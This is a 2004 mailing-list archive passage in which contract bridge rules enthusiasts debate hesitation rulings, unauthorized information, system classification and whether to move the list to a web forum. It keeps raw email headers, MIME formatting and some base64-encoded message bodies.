To be honest : I don't understand a word of = what you=20 say as far as this specific case is concerned. I understood that the = 5spade=20 bid was made out of tempo. Are you trying to say that the = TD could=20 decide not to allow that bid? Not in the EBL. The only bid that can = be=20 challenged is the 6Spade bid and if that is not allowed we go back = to=20 5spades as the adjusted score to aim at.
 
And probably the only people that consider = the=20 hesitation to be (part of) the infraction are found in the ACBL. My contribution showed judgement from the = beginning=20 till the end. Whether good or wrong is another question. =
 
So what did you want to say?
 
 
%%%%%%
------=_NextPart_000_003F_01C400F1.E565F840-- From tom.cornelis@pi.be Wed Mar 3 12:55:32 2004 From: tom.cornelis@pi.be (Tom Cornelis) Date: Wed, 3 Mar 2004 13:55:32 +0100 Subject: [blml] system category Message-ID: <000801c4011e$d0852590$9e8bdbd5@lightningadmin> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C40127.31D6CE90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I wondered where the distinction lies between blue sticker and red = sticker systems. Usually, blue means a strong 1C or 1D opening, always strong. But what about the other opening bids. Are there any requirements? E.g. would would the following system be categorized as blue or red = sticker? 1C: strong 1D: BAL/4441 1M: 5+ M 1NT: 5+ D 2C: 5+ C Best wishes, Tom. ------=_NextPart_000_0005_01C40127.31D6CE90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
I wondered where the distinction lies = between blue=20 sticker and red sticker systems.
Usually, blue means a strong 1C or 1D = opening,=20 always strong.
But what about the other opening = bids.
Are there any = requirements?
 
E.g. would would the following system = be=20 categorized as blue or red sticker?
1C: strong
1D: BAL/4441
1M: 5+ M
1NT: 5+ D
2C: 5+ C
 
Best wishes,
 
Tom.
------=_NextPart_000_0005_01C40127.31D6CE90-- From t.kooyman@worldonline.nl Wed Mar 3 13:07:59 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 3 Mar 2004 14:07:59 +0100 Subject: [blml] another pausey one References: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> <004401c40116$19450b00$3bebf1c3@LNV> Message-ID: <017f01c40122$d0d78e80$3bebf1c3@LNV> This is a multi-part message in MIME format. ------=_NextPart_000_015E_01C40128.EF395C90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable 'Normal' here should be understood as the contract had the infraction = not occurred. In this example the contract then had been 5spades, don't = you think?=20 ton=20 I was under the impression that the double of 5 Clubs was made with a = distinct hesitation, not the 5 spade bid. Sorry, I read it wrong. Yet I = still would like to know how you arrived at 5 spades as the "normal" = contract on which to base your further calculations. Kojak ------=_NextPart_000_015E_01C40128.EF395C90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
'Normal' here should be understood as the = contract had the=20 infraction not occurred. In this example the contract then had been = 5spades,=20 don't you think?
 
ton
I was under the impression that the double of 5 Clubs was made = with a=20 distinct hesitation, not the 5 spade bid.  Sorry, I read it = wrong. Yet I=20 still would like to know how you arrived at 5 spades as the "normal" = contract=20 on which to base your further calculations.
 
Kojak
 
------=_NextPart_000_015E_01C40128.EF395C90-- From nigel.guthrie@ntlworld.com Thu Mar 4 01:30:51 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 4 Mar 2004 01:30:51 -0000 Subject: [blml] Should you point out infractions? References: <000001c40057$409c8210$6900a8c0@WINXP> Message-ID: <012401c4018c$b22c1860$239468d5@tinyhrieuyik> [Nigel Guthrie] A friend *never* points out an opponent's infraction -- only his own. Is there any law that says you *should* draw attention to an irregularity? [Sven Pran] You are never required to call attention to an irregularity (unless specifically required by law like in Law 75). However, if you notice an irregularity but do not call attention to it until later and the Director judges that in this way you have contributed to your own damage from that irregularity he should take this into consideration when ruling on the irregularity. The result may very well be that you have jeopardized some or all your rights from the irregularity. [Nigel] Thank you Sven. Where in the laws does it say that? [Ed Reppert] Law 11A. [Richard James Hills] On the broader question of whether you "should" knowingly avoid calling attention to an opponent's infraction, this may itself be an infraction of Law 72A3. [Nigel] Thank you chaps. Most informative. I've added the laws that you quoted, below... [TFLB] Some laws that may be relevant... [Preface] explains that when these Laws say that a player "may" do something ("any player may call attention to an irregularity during the auction"), the failure to do it is in no way wrong. [L72B3] says you have no obligation to draw attention to an inadvertent infraction of Law committed by your own side (but see footnote to Law 75 for a mistaken explanation). [75D1] obliges an player, who subsequently realises that his own explanation was erroneous or incomplete, he must immediately call the Director (who will apply Law 21 or Law 40C). [75D2] mandates the partner of a mis-explainer to call the Director at his earliest legal opportunity (after the final pass, if he is to be declarer or dummy; after play ends, if he is to be a defender)and then inform the opponents that, in his opinion, his partner's explanation was erroneous. [l76B] forbids a spectator from calling attention to any irregularity or mistake [except, perhaps, by request of a Director who eats, shoots, and leaves]. [L9A] specifies who *may* call attention to an irregularity and when they may do so. [L9A2b2] allows Dummy to try to stop declarer committing an irregularity (L42B2). [L9B1a] says the TD must be called *after attention has been drawn* to an irregularity. Law 9B1b then allows anybody to call the TD. [L11A] says the right to penalize an irregularity may be forfeited if either member of the non-offending side takes any action before summoning the Director. The Director so rules when the non-offending side may have gained through subsequent action taken by an opponent in ignorance of the penalty. [L72A3] forbids a player, on his own initiative, from waiving a penalty for an opponent's infraction, even if he feels that he has not been damaged. (but he may ask the Director to do so - see Law 81C8). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 02/03/2004 From blml@blakjak.com Thu Mar 4 02:23:58 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 4 Mar 2004 02:23:58 +0000 Subject: [blml] Mailing list or forum? In-Reply-To: References: <018001c40122$d0eb8bb0$3bebf1c3@LNV> <000001c40131$5fd3ae30$0201a8c0@rui> Message-ID: Brian Meadows wrote >On Wed, 3 Mar 2004 15:08:19 -0000, you wrote: > >>Hi all. Just wanted to get some feed back on this subject. Would it be >>better to keep this as a mailing list, with the problems that sometimes >>arise with all the "mail bandits" out there, or to convert it to a web >>forum? >> > >Keep it as a mailing list, definitely. I haven't seen any >significant problems with the "mail bandits" as you put it. > >Web forums are a pain in the backside, why force people fire up a >browser and have to log on (presumably) just to see whether there >are any new postings when all you have to do now is to wait for >them to come into your mailer? While I am not suggesting we should move to a forum, IBLF which is a forum seems better than this suggests: I get emails telling me when there are new threads or new posts on threads I want to watch, so have no need to fire a web browser otherwise. What Brian says is true of the ACBL forums, though they have improved them remarkably in the last month. >I think you're trying to solve a non-problem. looks that way. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu Mar 4 04:08:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 4 Mar 2004 14:08:07 +1000 Subject: [blml] another pausey one Message-ID: DQoNCg0KDQpLb2phayBhc2tlZDoNCg0KPj5BcmUgdGhlcmUgc3RpbGwgcGVvcGxlIG91dCB0aGVy ZSB0aGF0IHRoaW5rIHRoYXQgdGhlDQo+PmluZnJhY3Rpb24gaXMgdGhlIGdvdmVybmluZyBoZXNp dGF0aW9uPw0KDQpBQ0JMIExhd3MgQ29tbWlzc2lvbiAoMTggSnVseSAyMDAzKSBydWxlZDoNCg0K W3NuaXBdDQoNCj5SaWNoYXJkIENvbGtlciBicm91Z2h0IHVwIHRoZSBwcm9ibGVtcyBpbiBsYXcN Cj5pbnRlcnByZXRhdGlvbiB0aGF0IGNhbiByZXN1bHQgZnJvbSB0aGUgdXNlIG9mIHRoZQ0KPndv cmRzICJpcnJlZ3VsYXJpdHkiIGFuZCAiaW5mcmFjdGlvbiIgaW4gdGhlIGN1cnJlbnQNCj5sYXdz LiBTcGVjaWZpY2FsbHksIGRvZXMgInRoZSBpcnJlZ3VsYXJpdHkiIGluIDEyQzINCj5yZWZlciB0 byBhIHBsYXllcuKAmXMgaWxsZWdhbCBjaG9pY2Ugb2YgY2FsbHMgYWZ0ZXIgYQ0KPmhlc2l0YXRp b24gb3IgZG9lcyBpdCBpbnN0ZWFkIHJlZmVyIHRvIHRoZSBib3RoIHRoZQ0KPmhlc2l0YXRpb24g YW5kIHRoZSBpbGxlZ2FsIGNob2ljZT8gVGhlcmUgd2FzIGENCj5jb25zZW5zdXMgdGhhdCB0aGUg aXJyZWd1bGFyaXR5IHJlZmVycmVkIHRvIGluIDEyQzINCj5tYXkgaW5jbHVkZSB0aGUgZXZlbnQg dGhhdCB0cmFuc21pdHRlZCB0aGUNCj51bmF1dGhvcml6ZWQgaW5mb3JtYXRpb24uIEFmdGVyIG11 Y2ggZGlzY3Vzc2lvbiBhbmQNCj5hcyBhIHJlc3VsdCBvZiBnZW5lcmFsIGFncmVlbWVudCB0aGF0 IHRoZSBub24tDQo+b2ZmZW5kZXJzIG5vdCBnZXQgYW4gdW5kZXNlcnZlZCB3aW5kZmFsbCB0aGF0 IG1heSBoYXJtDQo+dGhlIGZpZWxkDQoNCltzbmlwXQ0KDQpSaWNoYXJkIEphbWVzIEhpbGxzIGNv bnRpbnVlczoNCg0KSXQgaXMgZGlzcXVpZXRpbmcgdG8gbGVhcm4gdGhhdCBLb2phaydzIHJoZXRv cmljYWwNCnF1ZXN0aW9uIGhhcyBiZWVuIGFuc3dlcmVkIGluIHRoZSBhZmZpcm1hdGl2ZSBieSB0 aGUNCmVudGlyZSBBQ0JMIExhd3MgQ29tbWlzaWlvbi4NCg0KSXQgaXMgYWxzbyBkaXNxdWlldGlu ZyB0byBsZWFybiB0aGF0IHRoZSBlbnRpcmUgQUNCTA0KTGF3cyBDb21taXNzaW9uIGJlbGlldmVz IHRoYXQgYW4gZXRoaWNhbCBwbGF5ZXIgd2hvDQpwdW5jdGlsaW91c2x5IG9iZXlzIExhdyA3M0Mg aXMgKGluIHRoZWlyIG9waW5pb24pDQphY3R1YWxseSBkZWVtZWQgdG8gYmUgYW4gdW5ldGhpY2Fs IHBsYXllciBmb3IgZ2l2aW5nDQp0aGUgbm9uLW9mZmVuZGVycyBhbiAidW5kZXNlcnZlZCB3aW5k ZmFsbCIuDQoNCjotKA0KDQpCZXN0IHdpc2hlcw0KDQpSSkgNCi0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tDQogIEltcG9ydGFudCBXYXJuaW5nOiBJZiB5b3UgaGF2ZSByZWNlaXZlZCB0aGlz IGVtYWlsIGluIGVycm9yLCBwbGVhc2UNCmFkdmlzZSB0aGUgc2VuZGVyIGFuZCBkZWxldGUgdGhl IG1lc3NhZ2UgYW5kIGF0dGFjaG1lbnRzIGltbWVkaWF0ZWx5LiDCoFRoaXMNCmVtYWlsLCBpbmNs dWRpbmcgYXR0YWNobWVudHMsIG1heSBjb250YWluIGNvbmZpZGVudGlhbCwgbGVnYWxseSBwcml2 aWxlZ2VkDQphbmQvb3IgY29weXJpZ2h0IGluZm9ybWF0aW9uLCB0aGUgdW5hdXRob3Jpc2VkIHVz ZSBvZiB3aGljaCBpcyBwcm9oaWJpdGVkLg0KQW55IHZpZXdzIGV4cHJlc3NlZCBpbiB0aGlzIGVt YWlsIGFyZSB0aG9zZSBvZiB0aGUgaW5kaXZpZHVhbCBzZW5kZXIsDQpleGNlcHQgd2hlcmUgdGhl IHNlbmRlciBleHByZXNzbHksIGFuZCB3aXRoIGF1dGhvcml0eSwgc3RhdGVzIHRoZW0gdG8gYmUN CnRoZSB2aWV3IG9mIHRoZSBEZXBhcnRtZW50IG9mIEltbWlncmF0aW9uIGFuZCBNdWx0aWN1bHR1 cmFsIGFuZCBJbmRpZ2Vub3VzDQpBZmZhaXJzIChESU1JQSkuIMKgRElNSUEgcmVzcGVjdHMgeW91 ciBwcml2YWN5IGFuZCBoYXMgb2JsaWdhdGlvbnMgdW5kZXIgdGhlDQpQcml2YWN5IEFjdCAxOTg4 IChzZWUgd3d3LmltbWkuZ292LmF1KS4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t From nigel.guthrie@ntlworld.com Thu Mar 4 05:14:25 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 4 Mar 2004 05:14:25 -0000 Subject: Fw: Fw: [blml] The WBF [WAS: revokes] References: Message-ID: <021e01c401a7$90958220$239468d5@tinyhrieuyik> [Tim West-Meads] > Get real Nigel. If an expert calls the TD and claims to > have been misled because someone I know he knows is a > novice hesitated in the bidding I will give him short shrift. > The phrase "at own risk" springs to mind and, IMO, reading > too much into a novice hesitation is plain stupid. [Nigel] Are you just trying to wind me up againt, Tim :) Or do really think that an expert may not call the director when he believes an apponent, however inept has profited by an infraction. IMO, the expert is doing the Bunny a favour in the long term by helping him to learn correct behaviour. [Tim] > Technically I'm calling him stupid for imagining that his > decision was not made "at own risk" - a fine point perhaps:) > Another possibility is that I am calling him stupid for > thinking I will allow him to intimidate novices with silly > director calls. {Nigel] I don't think the TD should indulge in name-calling at all. The Bridge-table is not BLML :) And then the Bunny and the TD will have a better chance of understanding that director-calls aren't meant to be intimidating. [Tim] > As will any law [depend the TD's past relationship to the > players]. My enemies will tend to get slightly more generous > rulings than friends as I may overcompensate a bit for the > relationship. [Nigel] That may seem fair to you but IMO applying a law differently to friends/enemies acqaintances/strangers is completely unfair even if you are nastier to friends and acquaintances. [Tim] > I don't brand anyone "bunnies". Amongst regulars I know which > players are experienced/inexperienced. With strangers they will > almost always say things like "I haven't been playing very long" > or otherwise reveal their lack of experience. [Nigel] If you profit by an infraction but the TD chastises the poor bloke who called him, instead of investigating his complaint then there are only two likely explanations... (a) The TD is overcome by a whiff of your "Hi Karate" or... (b) The TD is Tim and judged you to be a Bunny. In summary, I am under the impression that it is illegal for a TD to waive a penalty for an infraction that has been drawn to his attention, unless a non-offender requests him to do so. If a beginner is not penalised and he realises he has broken the law then he feels patronised. If he doesn't realise, then he will learn bad habits. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 02/03/2004 From gesta@tiscali.co.uk Thu Mar 4 08:25:35 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 4 Mar 2004 08:25:35 -0000 Subject: [blml] another pausey one References: Message-ID: <008001c401d0$8c7e9db0$5d0be150@multivisionoem> Grattan Endicott To: Cc: Sent: Thursday, March 04, 2004 4:08 AM Subject: Re: [blml] another pausey one > > > > ACBL Laws Commission (18 July 2003) ruled: > > [snip] > > >Richard Colker brought up the problems in law > >interpretation that can result from the use of the > >words "irregularity" and "infraction" in the current > >laws. Specifically, does "the irregularity" in 12C2 > >refer to a player’s illegal choice of calls after a > >hesitation or does it instead refer to the both the > >hesitation and the illegal choice? There was a > >consensus that the irregularity referred to in 12C2 > >may include the event that transmitted the > >unauthorized information. After much discussion > >and as a result of general agreement that the non- > >offenders not get an undeserved windfall that may > >harm the field > +=+ I think we must be careful with the wording. This says *may include*. Certainly it may - if the hesitation is a deliberate action to convey information to partner. When slow tempo is occasioned by a genuine need to think then it creates UI but not unlawfully. Of course, I do not know how the ACBL interprets its minute, nor have I any wish to argue with them about it. I hope they are in line with the rest of the world. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Thu Mar 4 09:33:25 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 4 Mar 2004 09:33:25 -0000 Subject: [blml] another pausey one References: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> <004401c40116$19450b00$3bebf1c3@LNV> <017f01c40122$d0d78e80$3bebf1c3@LNV> Message-ID: <008101c401d0$8d683a60$5d0be150@multivisionoem> Grattan Endicott To: "WILLIAM SCHODER" ; "blml" ; "Eric Landau" Sent: Wednesday, March 03, 2004 1:07 PM Subject: Re: [blml] another pausey one 'Normal' here should be understood as the contract had the infraction not occurred. In this example the contract then had been 5spades, don't you think? ton I was under the impression that the double of 5 Clubs was made with a distinct hesitation, not the 5 spade bid. Sorry, I read it wrong. Yet I still would like to know how you arrived at 5 spades as the "normal" contract on which to base your further calculations. Kojak +=+ If I may quote Espinosa : "What was the infraction?". It is often useful to establish an infraction before considering redress. Karel said there was confusion as to the meaning of the Double. Has anyone cleared up what West intended by his double? He is required to treat East's 5S as being in response to the double as he intended it. This conditions the existence of logical alternatives and the judgement whether he has used UI or not. From Karel's account it is not apparent that the TD or the AC tackled this question at the time. It is possible that East's time out may have been to think what the double meant. He chose to reply 5S; if the information that West must understand from that bid justifies the 6S bid there is no infraction. ~ Grattan ~ +=+ From Frances.Hinden@Shell.com Thu Mar 4 10:19:31 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Thu, 4 Mar 2004 10:19:31 -0000 Subject: [blml] Mailing list or forum? Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB173B@lonsc-s-031.europe.shell.com> Rui Marques wrote: =20 > Hi all. Just wanted to get some feed back on this subject. Would it be > better to keep this as a mailing list, with the problems that = sometimes > arise with all the "mail bandits" out there, or to convert it to a web > forum? I'll add my vote to keep it as a mailing list. I receive tons of spam here, and a very small percentage of it is spam that gets sent to this mailing list. So the problems with this mailing list don't seem to me like much of a problem at all. =20 -- Adam [Frances] The _only_ spam I get is a consequence of blml. I did not get any at = all before I joined, and since then the majority of the spam I get also = appears via blml. From webmaster@lusobridge.com Thu Mar 4 10:38:48 2004 From: webmaster@lusobridge.com (rumaloma@pop.netvisao.pt) Date: Thu, 4 Mar 2004 05:38:48 -0500 Subject: [blml] Mailing list or forum? Message-ID: <244640-22004344103848896@M2W074.mail2web.com> Seems like the consensus of the majority is to keep this as a mailing list= =2E I can see the advantages of both methods=2E With a forum, it is much easie= r to follow the reasoning behind multiple replies without having to search the relevant text=2E With a mailing list, archiving is better=2E I also fi= nd the mailing list as good for "keeping a record", but reading is much easie= r with a forum=2E Anyway, mailing list is the vote :-)) Rui Marques -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web=2Ecom/ =2E From cibor@poczta.fm Thu Mar 4 10:50:53 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: 04 Mar 2004 11:50:53 +0100 Subject: [blml] Mailing list or forum? Message-ID: <20040304105053.702621EC744@front.interia.pl> Hi, My vote is to keep it as a mailing list. I connect to the Internet via modem and pay for every second while I am online. Now all I need to do is download the messages - I can read them offline. To read a forum I would need to stay on-line all the time. Konrad Ciborowski Krakow, Poland =0A__________________=0AKonrad Ciborowski Krak=F3w, Poland From blml@dybdal.dk Thu Mar 4 12:07:58 2004 From: blml@dybdal.dk (Jesper Dybdal) Date: Thu, 04 Mar 2004 13:07:58 +0100 Subject: [blml] Mailing list or forum? In-Reply-To: <244640-22004344103848896@M2W074.mail2web.com> References: <244640-22004344103848896@M2W074.mail2web.com> Message-ID: On Thu, 4 Mar 2004 05:38:48 -0500, "rumaloma@pop.netvisao.pt" wrote: >Seems like the consensus of the majority is to keep this as a mailing = list. >I can see the advantages of both methods. With a forum, it is much = easier >to follow the reasoning behind multiple replies without having to search >the relevant text. I suspect that you are using a mail program that cannot show the thread structure. I find it at least as easy, and quicker, to navigate threads in my mail program as in a web forum. --=20 Jesper Dybdal, Denmark. http://www.dybdal.dk (in Danish). From nigel.guthrie@ntlworld.com Thu Mar 4 19:39:02 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 4 Mar 2004 19:39:02 -0000 Subject: [blml] Mailing list or forum? References: <20040304105053.702621EC744@front.interia.pl> Message-ID: <018001c40220$5967cb40$5b9568d5@tinyhrieuyik> [Konrad Ciborowski] My vote is to keep it as a mailing list. [Nigel] Mine too. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From richard.hills@immi.gov.au Thu Mar 4 22:20:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 5 Mar 2004 08:20:13 +1000 Subject: [blml] another pausey one Message-ID: DQoNCg0KDQpBQ0JMIExhd3MgQ29tbWlzc2lvbiAoMTggSnVseSAyMDAzKSBydWxlZDoNCg0KW3Nu aXBdDQoNCj4+PlJpY2hhcmQgQ29sa2VyIGJyb3VnaHQgdXAgdGhlIHByb2JsZW1zIGluIGxhdw0K Pj4+aW50ZXJwcmV0YXRpb24gdGhhdCBjYW4gcmVzdWx0IGZyb20gdGhlIHVzZSBvZiB0aGUNCj4+ PndvcmRzICJpcnJlZ3VsYXJpdHkiIGFuZCAiaW5mcmFjdGlvbiIgaW4gdGhlIGN1cnJlbnQNCj4+ Pmxhd3MuIFNwZWNpZmljYWxseSwgZG9lcyAidGhlIGlycmVndWxhcml0eSIgaW4gMTJDMg0KPj4+ cmVmZXIgdG8gYSBwbGF5ZXLigJlzIGlsbGVnYWwgY2hvaWNlIG9mIGNhbGxzIGFmdGVyIGENCj4+ Pmhlc2l0YXRpb24gb3IgZG9lcyBpdCBpbnN0ZWFkIHJlZmVyIHRvIHRoZSBib3RoIHRoZQ0KPj4+ aGVzaXRhdGlvbiBhbmQgdGhlIGlsbGVnYWwgY2hvaWNlPyBUaGVyZSB3YXMgYQ0KPj4+Y29uc2Vu c3VzIHRoYXQgdGhlIGlycmVndWxhcml0eSByZWZlcnJlZCB0byBpbiAxMkMyDQo+Pj5tYXkgaW5j bHVkZSB0aGUgZXZlbnQgdGhhdCB0cmFuc21pdHRlZCB0aGUNCj4+PnVuYXV0aG9yaXplZCBpbmZv cm1hdGlvbi4gQWZ0ZXIgbXVjaCBkaXNjdXNzaW9uDQo+Pj5hbmQgYXMgYSByZXN1bHQgb2YgZ2Vu ZXJhbCBhZ3JlZW1lbnQgdGhhdCB0aGUgbm9uLQ0KPj4+b2ZmZW5kZXJzIG5vdCBnZXQgYW4gdW5k ZXNlcnZlZCB3aW5kZmFsbCB0aGF0IG1heQ0KPj4+aGFybSB0aGUgZmllbGQNCg0KW3NuaXBdDQoN CkdyYXR0YW4gRW5kaWNvdHQgaG9wZWQ6DQoNCj4+Kz0rIEkgdGhpbmsgd2UgbXVzdCBiZSBjYXJl ZnVsIHdpdGggdGhlIHdvcmRpbmcuIFRoaXMNCj4+c2F5cyAqbWF5IGluY2x1ZGUqLiBDZXJ0YWlu bHkgaXQgbWF5IC0gaWYgdGhlIGhlc2l0YXRpb24NCj4+aXMgYSBkZWxpYmVyYXRlIGFjdGlvbiB0 byBjb252ZXkgaW5mb3JtYXRpb24gdG8gcGFydG5lci4NCj4+V2hlbiBzbG93IHRlbXBvIGlzIG9j Y2FzaW9uZWQgYnkgYSBnZW51aW5lIG5lZWQgdG8NCj4+dGhpbmsgdGhlbiBpdCBjcmVhdGVzIFVJ IGJ1dCBub3QgdW5sYXdmdWxseS4gIE9mIGNvdXJzZSwNCj4+SSBkbyBub3Qga25vdyBob3cgdGhl IEFDQkwgaW50ZXJwcmV0cyBpdHMgbWludXRlLA0KPj5ub3IgaGF2ZSBJIGFueSB3aXNoIHRvIGFy Z3VlIHdpdGggdGhlbSBhYm91dCBpdC4gSSBob3BlDQo+PnRoZXkgYXJlIGluIGxpbmUgd2l0aCB0 aGUgcmVzdCBvZiB0aGUgd29ybGQuDQo+PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgfiBHcmF0dGFuIH4gICArPSsNCg0KRGFudGUgaW5zY3JpYmVkOg0KDQo+TGFzY2lhdGUg b2duaSBzcGVyYW56YSB2b2kgY2gnZW50cmF0ZSENCg0KUmljaGFyZCBKYW1lcyBIaWxscyByZXZl YWxzOg0KDQpJIHNuaXBwZWQgdGhlIHNlY3Rpb24gb2YgQUNCTCBMYXdzIENvbW1pc3Npb24gbWlu dXRlcyB3aGljaA0Kb2ZmaWNpYWxseSBwcm9wb3NlZCB0aGF0IGEgc3BsaXQgc2NvcmUgYmUgYXBw bGllZCBmcm9tIHRoZQ0KcG9pbnQtaW4tdGltZSBvZiB0aGUgaGVzaXRhdGlvbjsgd2l0aCBMYXcg MTJDMiBhcHBseWluZyB0bw0KdGhlIE9TLCBidXQgTGF3IDEyQzMgYXBwbHlpbmcgdG8gdGhlIE5P Uy4NCg0KQSBzcGxpdCBzY29yZSBhZGp1c3RtZW50IGF0IHRoZSBwb2ludC1pbi10aW1lIG9mICp1 c2UqIG9mDQpVSSBpcyBhbiBpbGxvZ2ljYWwgUmV2ZWxleSBydWxpbmcuICBCdXQgdGhlIEFDQkwg cHJvcG9zYWwNCnRvIHNwbGl0IHNjb3JlcyBhdCB0aGUgZWFybGllciBwb2ludC1pbi10aW1lIG9m IHRoZQ0KKmdpdmluZyogb2YgVUkgaXMgYW4gZXZlbiBtb3JlIGlsbG9naWNhbCB1YmVyLVJldmVs ZXkNCnJ1bGluZy4NCg0KU3VjaCBzcGxpdCBzY29yZXMgYXJlIG9ubHkgbG9naWNhbGx5IHZhbGlk IHRvICJwcm90ZWN0IHRoZQ0KZmllbGQiIGZyb20gInVuZWFybmVkIHdpbmRmYWxscyIgaWYgdGhl IEFDQkwgTEMgYXNzdW1lcw0KdGhhdCBhbGwgQUNCTC1sYW5kIHBsYXllcnMgaW52YXJpYWJseSBp bmZyYWN0IExhdyA3M0MuDQoNCjotKA0KDQpCZXN0IHdpc2hlcw0KDQpSSkgNCi0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tDQogIEltcG9ydGFudCBXYXJuaW5nOiBJZiB5b3UgaGF2ZSByZWNl aXZlZCB0aGlzIGVtYWlsIGluIGVycm9yLCBwbGVhc2UNCmFkdmlzZSB0aGUgc2VuZGVyIGFuZCBk ZWxldGUgdGhlIG1lc3NhZ2UgYW5kIGF0dGFjaG1lbnRzIGltbWVkaWF0ZWx5LiDCoFRoaXMNCmVt YWlsLCBpbmNsdWRpbmcgYXR0YWNobWVudHMsIG1heSBjb250YWluIGNvbmZpZGVudGlhbCwgbGVn YWxseSBwcml2aWxlZ2VkDQphbmQvb3IgY29weXJpZ2h0IGluZm9ybWF0aW9uLCB0aGUgdW5hdXRo b3Jpc2VkIHVzZSBvZiB3aGljaCBpcyBwcm9oaWJpdGVkLg0KQW55IHZpZXdzIGV4cHJlc3NlZCBp biB0aGlzIGVtYWlsIGFyZSB0aG9zZSBvZiB0aGUgaW5kaXZpZHVhbCBzZW5kZXIsDQpleGNlcHQg d2hlcmUgdGhlIHNlbmRlciBleHByZXNzbHksIGFuZCB3aXRoIGF1dGhvcml0eSwgc3RhdGVzIHRo ZW0gdG8gYmUNCnRoZSB2aWV3IG9mIHRoZSBEZXBhcnRtZW50IG9mIEltbWlncmF0aW9uIGFuZCBN dWx0aWN1bHR1cmFsIGFuZCBJbmRpZ2Vub3VzDQpBZmZhaXJzIChESU1JQSkuIMKgRElNSUEgcmVz cGVjdHMgeW91ciBwcml2YWN5IGFuZCBoYXMgb2JsaWdhdGlvbnMgdW5kZXIgdGhlDQpQcml2YWN5 IEFjdCAxOTg4IChzZWUgd3d3LmltbWkuZ292LmF1KS4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0t From richard.hills@immi.gov.au Thu Mar 4 22:47:23 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 5 Mar 2004 08:47:23 +1000 Subject: [blml] Bunnies and Law 73F2 (was The WBF) Message-ID: Tim West-Meads wrote: >>Get real Nigel. If an expert calls the TD and claims to >>have been misled because someone I know he knows is a >>novice hesitated in the bidding I will give him short shrift. >>The phrase "at own risk" springs to mind and, IMO, reading >>too much into a novice hesitation is plain stupid. Nigel Guthrie replied: >Are you just trying to wind me up againt, Tim :) >Or do really think that an expert may not call the director >when he believes an apponent, however inept has profited by >an infraction. IMO, the expert is doing the Bunny a favour >in the long term by helping him to learn correct behaviour. [big snip] Richard James Hills fence-sits: It seems to me that Nigel and Tim are arguing from different premises. Nigel is saying that the Laws should apply to both experts and bunnies, with which I agree. Tim, however, is saying that random extraneous actions by bunnies tend to be meaningless - therefore not an infraction of Law 73F2 - with which I also agree. Where I tend to agree with Nigel and disagree with Tim is that non-infraction of Law 73F2 by a bunny is only, in my opinion, a tendency. I do not agree with Tim's implication that bunnies *never* infract Law 73F2. In my opinion, cuniculus sapiens (the cunning bunny) is an endangered species, but it is not yet extinct. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ardelm@bigpond.net.au Thu Mar 4 21:58:43 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Fri, 05 Mar 2004 08:58:43 +1100 Subject: [blml] another pausey one In-Reply-To: References: Message-ID: <6.0.3.0.2.20040305085408.01c13970@pop-server.bigpond.net.au> >hack >Richard James Hills reveals: >cut >A split score adjustment at the point-in-time of *use* of 